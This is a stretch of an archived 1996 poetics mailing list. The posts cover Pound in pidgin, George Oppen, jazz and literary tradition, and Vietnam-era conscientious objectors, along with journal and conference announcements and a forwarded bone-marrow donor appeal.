I mean, if I were a student & I knew that my writing was going to be shown, and praised, to more than 350 poets, editors, translators, critics, readers, etc. from around the (English-speaking) world, I would 1) want a choice in the matter and 2) if I wanted them to read it, I'd damn well want them to know who I was, too.

This e-mail list is a kind of publishing &, even without considering any people who look through the archives at the EPC, quite possibly has a larger circulation than, say, TinFish (for which my check is in the mail, Susan).

Just checking.

Bests,

Herb

> *I got such a kick out of the following translation of Pound's "The Return" into pidgin (Hawaiian Creole English) that I thought it might bring a smile to other faces, as well. Here goes (by one of my students):*

Herb Levy
[redacted]

↑ Index

64. Robert Drake
Re: Mr. Gould re-blasing (twinkling)
Mon 4 Mar 1996

> *p.s. ladies & gentlemen:*

whew! that leaves _me_ out...

> *I advise no further discussion on this or any other subject...*

consider the subject, closed. but may we open the object?

lbd

↑ Index

65. Jordan Davis
Bradley bugs
Mon 4 Mar 1996

At 6:01 AM 3/4/96, David Kellogg wrote:
>On Sat, 2 Mar 1996, Hank Lazer wrote:
>
>> Actually, Jacques Derrida was aboard the Challenger & died in the
>> explosion.
>
>Ronald Reagan, when he heard of the explosion, is reported to have
>said, "Is that the one with the philosopher?"
>

Sunday NY Times: American Book Foundation event, Bill Bradley explains difference between his book and Colin Powell's--Powell received $6 million, Bradley received $1 dollar. Bradley quotes from Derrida.

↑ Index

66. **Mark Roberts**

AWOL: XAVIER HERBERT HOME FACES DEVELOPMENT AXE (forwarded)

Mon 4 Mar 1996

> *Mime-Version: 1.0*
> *Date: Sat, 2 Mar 1996 17:28:14 +1000*
> *To:* [redacted]
> *From:* [redacted] *(awol)*
> *Subject: AWOL: XAVIER HERBERT HOME FACES DEVELOPMENT AXE*
>
> *The following message has been posted by AWOL on behalf of the campaign to save Xavier Herbert's home.*
>
> **********
>
> *ATTENTION - HELP NEEDED*
>
> *XAVIER HERBERT HOME FACES DEVELOPMENT AXE*
>
> *The home of Xavier Herbert, located in the once quite Cairns suburb of Redlynch in far north Queensland, is threatened with being demolished for unit development.*
>
> *This is the home where Xavier Herbert wrote the 1975 Miles Franklin award winner, Poor Fellow, My Country.*
>
> *The Xavier Herbert Cottage Preservation Committee has been established with the aim of preserving the house. The options for this are still being developed. A submission to the Cairns City Council to purchase the home has been rejected.*
>
> *The home is for sale at $123,000.*
>
> *If anyone is interested in lending support to this campaign please contact the:*
>
> *Xavier Herbert Cottage Preservation Committee*
>
> *Cairns Ross Parisi 015163313 fax 070 314529*
>
> *Brisbane Kevin Guy phone/fax 07 3844 5629 email* [redacted]
>
> *AWOL*

> *Australian Writing On Line*
> [redacted]
> *http://www.ozemail.com.au/~awol/*
> *PO Box 333 Concord NSW 2137 Australia*
> *Phone 61 2 7475667*
> *Fax 61 2 7472802*

Mark Roberts
Student Systems Project Officer
Information Systems
University of Sydney NSW 2006 Australia
[redacted]
PH:(02)[redacted]
FAX:(02)[redacted]

↑ Index

67. Susan Schultz

Re: Pound translation

Mon 4 Mar 1996

Kevin--so glad you got to hear and meet Zack Linmark. At the reading here for his book, which had an audience of 200(?) people, he had actors perform chapters (some are letters, some poems, some dialogues) from it. The drag queen was especially good. He's writing a mixture of pidgin, standard American, and increasingly adding Filipino languages to his work. I also recommend the book highly. Susan

On Sun, 3 Mar 1996, Kevin Killian wrote:

> *Hi, this is the real Kevin Killian.*
>
> *Susan Schultz & Jerome Rothenberg, you 2 were talking about the Hawaiian writers of Pidgin English. Well have I got a name for you!!*
>
> *Susan, you probably know all about this guy, R. Zamora Linmark. he came to San Francisco last week and I got to meet him after his reading. He is fantastic. He has a book out from Kaya Production called Rolling the R's. I have not been so impressed with a book in eternity. It's kind of a novel and all the characters are gay youngsters in a Filipino section of Hawaii during the late 70s, they are 10 or 12 years old and all of them want to be like the US stars they watch on TV-Farrah Fawcett, Scott Baio, Matt Dillon, Kate Jackson, Donna Summer etc. It has to be read to be believed. It was great to meet him and hear him read. Susan, you should arrange for him to come to your classes at the University where you teach. But you probably*

> *have already! He is also in new anthology "Premonitions." XXX Kevin*

↑ Index

68. **KUSZAI**
info request
Mon 4 Mar 1996

---

does anyone out there have Stephen Ratcliffe's e-mail address. I don't believe he is a subscriber to Poetics list.

thanks,

Joel Kuszai

please reply to me backchannel,

"if you can"

↑ Index

69. **Patrick Foley**
Re: Silliman et al. on JAZZ, &c.
Mon 4 Mar 1996

Re: Chris, Maria & Ron

On the possibility, raised here, of experimental poetry proceeding without a traditional background, with a suggested analogy from the history of jazz:

Albert Ayler, to take Ron's example, immersed himself in the jazz tradition just as much as every jazz great. I don't expect you could get him to say we shouldn't bother listening to Louis Armstrong anymore, or that history begins with Ornette Coleman.

Bruce Andrews may never have written what you call "conventionalist" verse, but he did read it, I suppose, as an undergraduate, and as a graduate student at Harvard. Maybe he was never "interested in" --- one side of the question --- but he did have "access to" the traditions of poetry.

Is the idea here that he learned NOTHING? That his reading was just so much time wasted before he could do his own thang?

Pat

↑ Index

70. Edward Foster
NEW TALISMAN!
Mon 4 Mar 1996

---

the new talisman is here: new poems by William Bronk, conversations with Bronk and Henry Lyman, major essay on Bronk by David Clippinger; totally big and terrific section of Turkish poetry translated, and introduced by Murat Nemet-Nejat: Cemal Sureya, Ece Ayhan, Ilhan Berk, Behcet Necatigil, Ozdemir Ince, Nilgun Marmara, Mustafa Ziyalan, and Melisa Gurpinar; and then: William Walsh on Oppen, Susan Schultz on Bernstein, Guest, Lauterbach, Palmer, Revell, and Selby, Keith Tuma on Eshleman, Stephen Fredman on Einzig, Susan Smith Nash on Scalapino, plus huge poetics section: Susan Smith Nash, John Noto, Patrick Philips, Daniel Barbiero; plus major essay by W. Scott Howard on Susan Howe.

And it's still just $6, yr. subscription. $11. And even if we sell what we print, we barely pay the printer. Please buy/subscribe: Talisman, P.O. Box 3157, Jersey City, NJ 07303-3157.

The next Talisman, #15, the Gerrit Lansing issue, should be here next month, and #16 (Boston/Britain) is being fine tuned for summer publication, but we need yr. subscription dollars, please.

↑ Index

71. Susan Schultz
Re: Pound translation
Mon 4 Mar 1996

Thanks, Herb, for saying what you said. I had a strange feeling about it, too. The student's name is Nathan Kagayama, and I told him I was sharing his work.

Susan

↑ Index

72. Chris Stroffolino
Re: Silliman et al. on JAZZ, &c.
Mon 4 Mar 1996

Pat, Ron, anyone--
Is Bruce really "reading" Dante?
chris

↑ Index

73. Steven Howard Shoemaker

Re: Oppen

Mon 4 Mar 1996

I'm always glad when Oppen comes up because I think he's really on of our great poets, despite the deceptive lack of *bulk* in the output. His poetic project seems to me to engage, with remarkable depth, some of the more crucial questions of this century's history. So, even tho i'm used to the poets i like most not being very widely recognized, i'm always just a bit surprised & disappointed in his case--and susceptible, i guess, to a utopian dream that some where some day his worth will be acknowledged...

Ah, enough of that. I guess it's enough to see folks like Rod Smith engaging so seriously and interestingly with the poems. It's *always* fascinating to consider the relations among Oppen's books, in a way that just isn't true of many or most poets. That's partly because they're so much like units, each one self-contained and discrete, but also extending the project of what has gone before. But as true as this is, it's also possible to forget about the apparently linear movement from one book to the next, to think and read instead by attending to recurrences and anticipations and reversions that weave strange patterns throughout the work as a whole. I like Rod's comments on the late poetry--the move into or immersion in flow and fluidity and music. This makes sense to me, or feels good in terms of my own reading. But in terms of O's late habit of quoting himself, i'm especially struck by how strongly the last book, Primitive, loops back to the first, Discrete Series. Strangely moving (moving strangely?) how that last last poem, "Till Other Voices Wake Us," flows back to wash over with watery music the scene of O.'s writing the first book...

steve

Rod Smith writes:

"Guess what I'd say I was hinting at in my Oppen question-- seems there's less of an interest in direct statement in the later work, more of an interest in movement/flow. Of course these are always side by side but I think at times one is more emphatic. I'd point to a poem like "Animula" or "The Book of Job &..." as examples of what I'm talking abt, & the last pg of "A Narrative" as possibly the first occurence of this in his work after returning to poetry. Poems like "The Hills" or basically all of "The Materials" is _saying_ something, working out a philosophical question or making an observation/description-- "Of Being Numerous" perhaps the most concerted attempt at this & the place where he begins to leave it off somewhat. The practice of quoting himself which shows up so strongly in _Primitive_ also causes this to happen for me-- the reiteration even at a distance seems to be saying "this is what I've come to know & largely what I can make with it is (a) music." The disappearance of punctuation in much of

the later work & the increasing use of gaps within the line also point in this direction. I wouldn't call it an interest in nonsense, this emphasis I'm talking about, but rather an acceptance, perhaps, of the sense already made, & an opening out into music with it. But just now reading through _The Materials_ a bit, seems I may be wrong, that ear's there too. . .

Rod"

↑ Index

74. Aldon L. Nielsen
Re: GI Tract
Mon 4 Mar 1996

Mine less harsh because I do not for a minute buy reactionary crap about universities being filled with cowards who wouldn't serve -- partly because, being of that generation, I know what some of us had to face when resisting the draft. Those of us who were serving COs were confronted with what General Hershey like to call a policy of "maximum possible disruption," which policy was patently intended to see to it that nobody in his right mind would seek CO status. On the other side, the majority of draftees never in fact faced combat. My brother-in-law, drafted the year before me, spent his two years typing in Germany.

What I was getting at was just that there are many factors operating in the English Dept. job market of the past decades that have neverbeen much discussed and, this a bit harsher, that some among those who had uninterrupted university education and progress towards career have not always given thought to how they got there and to how others were siphoned away, no matter how briefly.

↑ Index

75. Aldon L. Nielsen
Re: Tuma's Blues
Mon 4 Mar 1996

Direct to Keith + any other interested readers of his review in current _ABR_

The first publication of Brathwaite's _Black + Blues_ that I know of was published in 1976 by Cuba's _Casa de las Americas_, which would likely explain why you've never seen a copy. (Ain't the embargo grand!) Your review mentions a 1979 original. Is that yet another edition? Does the new version (I haven't seen one yet) indicate a '79 edition from an English-speaking country? The "76 version is in English, and has a rather televsiual cover (a sort of music of the spheres effect), which is continued into the title page. The typography is pretty much like Brathwaite's other 70s works.

↑ Index

76. Keith Tuma
Re: Tuma's Blues
Mon 4 Mar 1996

Aldon,

No other edition--that was my error, likely the product of inscrutable handwriting, no proofs from ABR, + something like 2 days to write the thing.

Not my title either--and I'm less than pleased with what ABR called the thing.

best,

Keith

↑ Index

77. Maria Damon
Re: Silliman et al. on JAZZ, &c.
Mon 4 Mar 1996

i thot chris's q to me was abt having students experimentally oriented who then got turned on to traditional stuff --i haven't had that experience --but now folks are talking about people who have only and experimental "bildungs"apprenticeship, yes i know many such, who have never taken a poetry class where they read the "classics," at Naropa, say, or some of my u-grads who have never studied poetry at all til they walked into my class. but i can certainly imagine such a thing, and do have a friend who dropped out of the punk/ poetry/zine performance/ poststructuralist theory scene to study medieval provencal and sicilian poetry --what she loves about it is the formalism... more power to her; with her background she can do anything!--maria d

↑ Index

78. Tenney Nathanson
Need Korean bone marrow - Save a Life (fwd)
Mon 4 Mar 1996

one more forward, one more apology for being off topic.

Tenney

> *Date: Mon, 4 Mar 1996 18:52:48 -0700*
> *Reply-To: English Graduate Literature Program <[redacted]>*
> *Sender: English Graduate Literature Program <[redacted]>*
> *From: LZ <[redacted]>*
> *Subject: Need Korean bone marrow - Save a Life (fwd)*

Comments: To: [redacted]
To: Multiple recipients of list EGL <[redacted]>
Content-Length: 2717

I know this is off all of our usual topics, but I figured somebody might eventually forward this to someone who can help.

LYnda

---------- Forwarded message ----------
Date: Mon, 4 Mar 96 15:23:44 PST
From: Barbara W. Langstaff <[redacted]>
To: [redacted]
Subject: Need Korean bone marrow - Save a Life

Forgive me for being off-topic, (pardon my netiquette) but someone out there may be able to save a life. This was forwarded by a friend (headers deleted), so I know it's real. His sister appears to have been adopted, so maybe it's not too far off-topic.

Please forward as appropriate. Thanks.

From: Brantley Thompson <[redacted]>

Subject: Re: Waste time helping someone

Author: [redacted] (Mike Doyle) at nylanr01 Date: 2/4/96 8:10

Friends,

My twelve year old sister has Leukemia and needs a bone marrow

transplant to survive, but has no blood-related siblings. Her name is

Karen, and she is 1/2 Korean and 1/2 North American (European

descendants). Finding out whether or not one is an appropriate donor

requires only a blood test. All expenses for the donor will of course be

paid. If you are or know anyone who is of like origin, please email me

as soon as possible at <[redacted]>. I would also appreciate your

sharing this message with the people you know. Karen's doctors are

searching through the registered donor list, and haven't had much luck.

Our best bet is to find someone who is not yet registered as a donor. I

welcome any suggestions you have, and appreciate your concern.

Thank you,

Mike

Alana O'Reilly
Laboratory of Ben Neel
Beth Israel Hospital Boston
RW663
330 Brookline Avenue
Boston, MA 02215
phone: [redacted]
fax: [redacted]

Received: from geoworks.com by ccmail.geoworks.com (SMTPLINK V2.11 PreRelease 4)
; Sun, 03 Mar 96 21:20:00 PST
Return-Path: <[redacted]>
Received: from water.geoworks.com.geoworks by geoworks.com (4.1/SMI-4.1)
id AA07005; Sun, 3 Mar 96 21:22:34 PST
Received: by water.geoworks.com.geoworks (4.1/SMI-4.1)
id AA24994; Sun, 3 Mar 96 21:22:34 PST
Date: Sun, 3 Mar 1996 21:22:33 -0800 (PST)
From: Peter Trinh <[redacted]>
To: [redacted]
Subject: looking for help (fwd)
Message-Id: <[redacted]>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Barbara W. Langstaff
Forte Technical Support Dispatcher
Support Hotline: [redacted]
Tel: [redacted]
Fax: [redacted]

↑ Index

79. Ron Silliman

Re: Silliman et al. on JAZZ, &c.

Tue 5 Mar 1996

"Bruce Andrews may never have written what you call "conventionalist" verse, but he did read it, I suppose, as an undergraduate, and as a graduate student at Harvard. Maybe he was never "interested in" --- one side of the question --- but he did have "access to" the traditions of poetry.

"Is the idea here that he learned NOTHING? That his reading was just so much time wasted before he could do his own thang?"

Bruce got his Ph.D. in political science, not English (and got the BA and masters at Johns Hopkins before going to Harvard). No, the idea is not that he learned nothing, but rather (perhaps) that the irrelevance of what was generally being taught as literature was immediately visible.

Haven't spoken with Bruce about this in at least a decade (and he's not online, alas), but as I recall, he took some lit and/or writing courses and noted liking some from Eliot Coleman, some of whose work (such as the book _Mocking Birds at Fort McHenry_) was itself fairly innovative for the time and context. (That is, formally innovative but completely outside of the context of the New American poetics.) Bruce also was present at the big Languages of Criticism and Sciences of Man (sic) conference at Johns Hopkins in 1966 (he was 18 at the time) that was, for some, the first big brouhaha of poststructuralism in the US -- and that seems to have made some impact. But Bruce has always spoken very highly of Michael Lally's community oriented workshop(s) as a/the key introduction for him, as they seem to have been also for Peter Inman, Tina Darragh, Lynne Dreyer and so many other members of the DC/Baltimore scene of that period.

Lord knows, at Berkeley, you needed special dispensation to study any poetry after 1940. I was able to get a course on Zukofsky (a tutorial) only by explaining that he was a key figure in the Williams scene and even then only two faculty

members at the time had claimed ever to have read him. The only one who was willing to teach such a course was Grenier. I never had a course in school in which reading Ginsberg or Olson was even a possibility, with the sole exception of a linguistics class at SF State taught by Ed Van Aelstyn, who'd been a founding editor of Coyote's Journal (the mag that Clayton modeled Caterpillar after).

What you studied in the 1960s were not the poetics of that decade...

Ron Silliman

↑ Index

80. Ron Silliman
War Resisters as Vets
Tue 5 Mar 1996

Aldon,

I always thought there ought to be a "veterans" (or otherwise alumni) org for war resisters and conscientious objectors. Certainly, there are lots of us out here, but characteristically we've been separated from that experience by the fact that very seldom did many of us do our "time" in any one concentrated numbers. I was one of two in the prison movement group I worked with (which got approval only because John Tunney, US Senator, and Leo Ryan, the congressman killed at Jonestown, served as paper members on its board). Paul Hoover is the one whose written in most detail of his experiences. (Hi Paul)

Ron

↑ Index

81. Michael Boughn
Re: War Resisters as Vets
Tue 5 Mar 1996

Those interested in the experience of Viet Nam war resisters in Canada should get ahold of _Hell No We Won't Go: Vietnam Draft Resisters in Canada_ by Alan Haig-Brown, just out from Raincoast Books (8680 Cambie St. Vancouver, BC V6P 6M9, Canada, phone: [redacted]) at $18.95 CAN $13.50 US (ISBN 1-55192-011-5). The book consists of interviews with 18 men and 2 women who came to Canada because of the war.

Mike
[redacted]

↑ Index

82. Joe Amato
Re: GI Tract
Tue 5 Mar 1996

aldon, i don't buy the "coward" line either, meant to pass (again) no judgment on what anybody did wrt the draft...

like you, i'm interested simply in the what's and why's of those who managed to profit from what you call the "anti-G.I. bill"... i wonder how in fact such a "factor" operates in the current industry, as it were... i wonder what it means to argue, in effect, that there are academics who have never been self-critical in this regard... and i wonder just how many (male) academics we're talking about...

i guess i'm asking for more specifics to try to get a handle on this so very sensitive issue...

joe

↑ Index

83. Henry Gould
Artists Statement on the Economy (long!!)
Tue 5 Mar 1996

Going to try an experiment here. As mentioned in previous post, I'm meeting with a few writers to talk politics on a weekly basis. The following is my own sketchy draft of an "Artists' Statement on the Economy" loosely modelled (but not echoing) the Catholic Bishops' Statement of a few years back. It is only an outline - mostly just topic headings. I would welcome any comments on the whole endeavor - or suggested topics or comments on the topics below. Please send to [redacted]; I will print them out & bring to the meeting - can't promise anything beyond that. Thanks in advance. PLEASE send direct to me - do not hit reply button. This should NOT be a general poetics discussion, in my opinion.

I. POLITICAL ROLE OF ARTS & ARTISTS

- Current drift of US society is inimical to arts & artists. Aspects: 1. economy is inimical to majority of people in general (job loss, insecurity, overwork, pressure on families; focus on profits, power & technological consumerism; racism & underclass) 2. Society in general is inimical to arts (pervasive commercial media; mandarin, splintered academy; divided ethnic cultures)

- Current drift also offers opportunities - time of questioning & change; drive to re-formulate basic values.

- Responsibilities of artist to society are the same, on a personal level, as those of any human being. However, art is an activity, a process, a function of culture

with its own particularity. Very rudimentarily, this can be defined as the creation of forms & images of order, harmony & discovery. Vital forms which incorporate both real and imaginary experience. The power animating this activity can be defined very simply as the _sympathetic imagination_.

- Imagination informs all human activities, as a power of empathy, understanding, criticism and creativity. In the arts, ideally, this comes to focus - consciousness - and fruition, giving back to culture a free image of its common life. A culture without imagination is quite simply a dead culture. It lives off dead images, and persists through inertia & repression.

If culture is becoming inimical not only to the arts, but to the majority of people in their common life, then our aim as artists ought to be to turn the imaginative powers toward our common life & the common good. It is not a time to make special demands for artists per se, but a time to address imaginatively the roots of our common problems. This is the rationale for the following analysis.

II. PHILOSOPHICAL GROUNDWORK

1. Common good and common life. Perennial realities, social utopias. Peace and equity as standards. Global standards of human rights.

2. Philosophy of government. Democracy - gov't as expression of will of people. Social contract, traditions of social covenant (Biblical, Native American, other). Politics as creative social bond; polis as arena of definition & fulfillment. Gov't as mediator of private rights and common good.

3. Economic philosophy. Community as source of value. Neither private property nor collectivity are absolute values - both entail individual rights and stewardship. Universal human rights as standard for economic organization.

III. CONTEMPORARY AMERICAN & GLOBAL ECONOMIC REALITIES

IV. CRITIQUE OF CURRENT POLITICAL MOVEMENTS, PARTIES, PLATFORMS

V. ACHIEVABLE STANDARDS FOR AMERICAN ECONOMY

VI. SPECIFIC POLICY GOALS

VII. INDIVIDUAL AS PARTICIPANT IN LOCAL AND GLOBAL COMMUNITIES

(fill in the blanks if you can!!) - Henry Gould

↑ Index

84. Mark Roberts
Re: Tuma's Blues
Tue 5 Mar 1996

> *Aldon,*
>
> *No other edition--that was my error, likely the product of inscrutable handwriting, no proofs from ABR, + something like 2 days to write the thing.*
>
> *Not my title either--and I'm less than pleased with what ABR called the thing.*
>
> *best,*
>
> *Keith*

Pardon my ignorance but what is ABR? In Australia it is the AUSTRALIAN BOOK REVIEW.

_____
Mark Roberts
Student Systems Project Officer
Information Systems
University of Sydney NSW 2006 Australia
[redacted]
PH:(02)[redacted]
FAX:(02)[redacted]

↑ Index

85. Jonathan Brannen
Re: GI Tract
Tue 5 Mar 1996

Joe,

I don't know anyone (self-included) who was politically engaged during the Vietnam period whose life was not somehow disrupted. C.O. status was not granted for the asking. Unless one was raised in a pacifist religion, it was next to impossible to acquire in certain regions. Exemptions from the draft, for any reason, were not casually granted. Draft resistance was a political act and often resulted in exodus or imprisonment.

I'm not an academician, in part because of the circumstances of those times, but I will not fault someone for having been fortunate enough to get on with their lives. Nor do I feel they should fault themselves.

If you're interested in the factors at work in the "current industry" of academe, I think you'd find it more "profitable" to examine the very active roles that

racism and sexism continue to play in the academic environment rather than moralizing about the draft status of your professional colleagues 25 to 30 years ago.

Jonathan Brannen

> *aldon, i don't buy the "coward" line either, meant to pass (again) no judgment on what anybody did wrt the draft...*
>
> *like you, i'm interested simply in the what's and why's of those who managed to profit from what you call the "anti-G.I. bill"... i wonder how in fact such a "factor" operates in the current industry, as it were... i wonder what it means to argue, in effect, that there are academics who have never been self-critical in this regard... and i wonder just how many (male) academics we're talking about...*
>
> *i guess i'm asking for more specifics to try to get a handle on this so very sensitive issue...*
>
> *joe*

↑ Index

86. Joe Amato
Re: GI Tract
Tue 5 Mar 1996

on a related note, i'm just now noticing a piece in this week's _chronicle_ entitled "fighting over the killing fields: a new book ignites old debates over pol pot and his brutality" by scott jaschik (p. a8)... it concludes with this observation by one douglas pike, director of the indochina studies program at uc/berkeley:

"we have a bunch of scholars who are still walking wounded from the war, because of things they said and did at that time. i think we may need a whole new generation of cambodia watchers---people who won't have to deal with the guilt trip about what they said or did."

joe

↑ Index

87. Paul Naylor
River City
Tue 5 Mar 1996

The new issue of _River City: A Journal of Contemporary Culture_ is out and available. This is the first issue to come out since I've been a member of the

poetics list, so I thought I'd give a brief description of it. Each issue focuses on a special topic -- our Summer 1995 issue was devoted to the Blues and the current issue is devoted to contemporary representations of China -- but each issue also includes material unrelated to the special topic.

The new issue features a selection of poetry from writers based in Taiwan and mainland China, an interview with Bei Dao, and essay on cinema in Hong Kong, an essay by Yunte Huang on translating Chinese poetry, an essay by Will Alexander, and a short story by Brain Russo. The issue also includes a fine essay by Amiri Baraka on Thelonious Monk, three poems by Charles Bernstein, and "Carnal Knowledge," a long, meditative poem on the body by Beverly Dahlen.SEND in%"[redacted]" in%"[redacted]"

Our next issue, Summer 1996, will focus on the Caribbean and will feature work by, among others, Kamau Brathwaite, M. Nourbese Philip, and our own Aldon Nielson. If any of you have any work that deals with the Caribbean, I'd like to see it.

Subscriptions are $7 per issue or $12 for two issues. Checks and submissions should be sent to:

Paul Naylor
463 Patterson Building
Department of English
The University of Memphis
Memphis, TN 38152

MAIL
SEND
in%"[redacted]"
in%"[redacted]"

↑ Index

88. Jordan Davis
ossian
Tue 5 Mar 1996

Never mind the straw polls of form,
is there any work on recent prosodies?
Anybody whose music's shocking?

March Hare

↑ Index

89. Maria Damon
Re: War Resisters as Vets
Tue 5 Mar 1996

another good upcoming read: by Michael Bibby, working title Hearts and Minds: Resistance Poetry of the Vietnam era, rutgers press, he deals extensively with g.i. resistance and g.i. poetry. --maria d

↑ Index

90. MAXINE CHERNOFF
war resisters
Tue 5 Mar 1996

Hi, Ron. I'm not sure of the context here. Maxine saw the message and I thought I'd reply briefly. Apparently someone has asserted that English Departments consist of war resisters rather than vets. I was a conscientious objector from 1968-1970, working in a Chicago hospital. My experiences are related as fiction in my novel SAIGON, ILLINOIS. As far as I know, this is the only novel of the dozens of Vietnam-era books to take the CO point of view. My friend and office mate, Larry Heinemann, drove a tank in Vietnam and won the National Book Award for his second Vietnam novel, PACO'S STORY. Most war stories will appear to be more dramatic to the public taste than the adventures of a war resister. The truth of it is that conscientious objectors are not generally respected for their actions. No matter how moral in motivation, they are deemed unpatriotic. Schwartzkopf and Colin Powell are national heroes. A conscientious objector is a cultural outsider that most people don't want to hear about. Being a Vietnam vet gives you a box to check on academic hiring surveys; being a CO doesn't.

Paul Hoover

On Tue, 5 Mar 1996, Ron Silliman wrote:

> *Aldon,*
>
> *I always thought there ought to be a "veterans" (or otherwise alumni) org for war resisters and conscientious objectors. Certainly, there are lots of us out here, but characteristically we've been separated from that experience by the fact that very seldom did many of us do our "time" in any one concentrated numbers. I was one of two in the prison movement group I worked with (which got approval only because John Tunney, US Senator, and Leo Ryan, the congressman killed at Jonestown, served as paper members on its board). Paul Hoover is the one whose written in most detail of his experiences. (Hi Paul)*

> *Ron*

↑ Index

91. Joe Amato
Re: GI Tract
Tue 5 Mar 1996

jonathan, i'm not interested in "moralizing," either... and i *do* in fact think that racism and sexism are the sorts of things academics should be attending to, along with class bias etc etc etc...

yknow, i don't think kali tal is signed on to this list at the moment... a book of my poetry came out last year under the "viet nam generation" imprint, and kali is the publisher as well as editor of the related journal... so i've had occasion not only to read much of the literature published by viet nam generation, but to talk with folks (like kali, and poet w. d. ehrhart, and in fact the entire sixties-l list to which i was subbed to for a while) for whom this question of literary studies----for example, through what some call the "literature of trauma"---is very much inflected by viet nam experience of one sort or the other...

just as mccarthyism ostracized and traumatized a lot of folks and, as some would have it, shaped the hollywood films of the 50s and beyond, perhaps a reaction to (or perhaps this latter is too strong?) u.s. involvement in viet nam speaks to the world of letters in ways that are difficult to unravel?... or at least difficult for me to unravel...

anyway... this started in response to aldon's observation---and i'm not pointing my finger at aldon 'cept to say that he's not alone in observing so, and that i'm just wondering---actively, in public---what to make of this... the _chronicle_ excerpt i just posted may be wrongheaded, but it nonetheless indicates that there are some general feelings here which may not be all that well understood or articulated...

best,

joe

↑ Index

92. Charles Bernstein
Robert Duncan Fesitval
Tue 5 Mar 1996

---------- Forwarded message ----------
Date: Mon, 04 Mar 1996 12:48:39 -0500 (EST)
From: Kristin S Prevallet <[redacted]>

ROBERT DUNCAN CONFERENCE
"The Opening of the Field"

April 18-20, 1996

This Wednesdays at Four Plus Special Event is sponsored by the Poetics Program, the English Department, The Poetry/Rare Books Collection, and the Samuel P. Capen Chair of Poetry and the Humanities.

All panels and the lecture will take place in the Poetry/Rare Books Collection, 420 Capen Hall. The readings will be held at Hallwalls Contemporary Art Center, 2495 Main Street. For maps, hotel reservation information, and updates, check the Poetry Collection Home Page at:
http://writing.upenn.edu/libraries/units/pl/duncanco.html

The Schedule:

Thursday, April 18

Lecture: Robert J. Bertholf (2:30-3:30 pm)
Dramatic Reading: "Adams Way" (4:00-5:00 pm)
Poetry Reading: Susan Howe and Nathaniel Mackey (7:30-10:00 pm)

Friday, April 19

Panel: Marjorie Perloff, Nathaniel Mackey and Joseph Conte (10:00-12:30)
Panel: Robin Blaser, Susan Howe and Jerome McGann (2:30-5:00 pm) Poetry Reading: Michele Leggott and Robin Blaser (7:30 - 10:00 pm)

Saturday, April 20

Panel: Peter Quartermain, Michele Leggott and David Levi Strauss (10:30-1:00)
Reception: 5:00-8:00 pm, 64 Amherst Street

Hotel reservations are being accepted at the University Manor Hotel.
The hotel is in walking distance to a shuttle which goes to the
university, and a subway that goes to Hallwalls.
Special room rates are as follows:
$41.95 for one room, two people. Each additional person costs only $5.
$36.95 for one room, one person.
Call them at [redacted] for more information.

Persons requesting more information on the conference can call [redacted] or [redacted], or e-mail [redacted]

↑ Index

93. Christopher Reiner
Re: academic poet/ry
Tue 5 Mar 1996

On Sun, 3 Mar 1996, Chris Stroffolino wrote:

> *Dear Tony Green---I don't know if Chris Reiner is still on this list,*
> *but WITZ published an article just recently by Mark DuCharme on a*
> *Clark Coolidge and a Shakespeare sonnet...*

Yes, I'm still on the list, but unable to spend as much time as I'd like with all the threads. The issue with Mark DuCharme's article is Fall 1995 (the most recent, though a new one will be out shortly). Single issues are $4. Back issues more than a year old can be found in ascii files at the Electronic Poetry Center. The address for WITZ is

12071 Woodbridge Street
Studio City, CA 91604

Upcoming spring issue has articles by Stephen Ratcliffe (on Robert Grenier's new work) and Carl Peters (on bpNichol), along with reviews...also a new format...but I'll do a separate post about that when the issue comes out. Thanks, Chris S. for the mention.

Christopher Reiner
[redacted]

↑ Index

94. Charles Alexander
Re: ossian
Tue 5 Mar 1996

> *Never mind the straw polls of form,*
> *is there any work on recent prosodies?*
> *Anybody whose music's shocking?*
>
> *March Hare*

Dear March Hare

I too would be interested in such work. And I don't know about "shocking," but for "stunning" I might nominate Bruce Andrews, whose sense of prosody, to me, always partakes of a certain kind of maelstrom. I know prosody is always at the forefront in my own work, but I don't think of it so much as prosody as simply the sound/sounding of the poem.

And I must admit that for that real bumping, enlivened sound I still sometimes go back to Beowulf and other Old English works. And I do like to read Dickinson aloud, and Stein, and Mac Low (I nominate him for music as well). but so many . . .

charles

↑ Index

95. Kevin Killian
SPT mailing address
Tue 5 Mar 1996

This is Dodie Bellamy,

I spent the morning with Marvin and Michael, the building managers of New College (nice guys) and they advised giving the following address as our mailing address:

Small Press Traffic
at New College
766 Valencia Street
San Francisco, CA 94110

If any of you have already sent stuff to the 741 Valencia address, that will probably be okay, but it's not the best address to use (that's where we're located but the mail is delivered across the street).

Should have a phone number by next week.

Thanks for all the response on the SPT newsletter.

↑ Index

96. Christopher Filkins
Re: GI Tract & CO's
Tue 5 Mar 1996

> *Jonathan,*
>
> *This difficulty arose in great part because of the peace churches. During WWII the peace churches ran, with the blessing of the US government, a rather extensive CO program which broke up in rancor near the end of the war because of numerous difficulties which arose between the churches and the feds. At that point the churches declared they would no longer become involved in that capacity again. So whereas you needed "merely" to convince the authorities of your pacifist convictions to be designated CO during WWII. This quite often consisted of essays with supporting letters from friends, relatives, and clergy. In the Vietnam era you "had" to be raised within one of the peace churches for your CO status to stick*

> *because otherwise the peace churches would not stand by your side in a show of support like they did in the WWII era. If there are any "Friends" on this list who could go into more detail I'd love to hear it.*
>
> *Of course in WWII CO status virtually always guaranteed both exodus and imprisonment.*
>
> *I am doing research on CO writers and artists from the WWII era. If anyone has anything to share concerning that subject I would love to hear from you backchannel (or on the list if it is relevant to the discussion at hand).*
>
> *Thank you.*
>
> *Christopher*
>
> *Jonathan Brannen wrote:*
>
> *I don't know anyone (self-included) who was politically engaged during the Vietnam period whose life was not somehow disrupted. C.O. status was not granted for the asking. Unless one was raised in a pacifist religion, it was next to impossible to acquire in certain regions. Exemptions from the draft, for any reason, were not casually granted. Draft resistance was a political act and often resulted in exodus or imprisonment.*

↑ Index

97. Christopher Filkins

Nuns

Tue 5 Mar 1996

Anyone who is interested in the Nun study mentioned several threads ago can find the study in question at http://www.coa.uky.edu/nunnet/

christopher

↑ Index

98. Jackie Rosenfeld

New here

Tue 5 Mar 1996

Hi!
New to the list and wanted to say hello and ask if there is anything I should know?
ie rules, threads, etc.

Thanks
Jackie

Jackie A. Rosenfeld
[redacted]
http://eramp.net/jackie

"If I can't dance, I don't want to be part of your
 revolution!"
---Emma Goldman

↑ Index

99. Wystan Curnow
Re: Trivia question about Henry James
Tue 5 Mar 1996

Dear Emily,
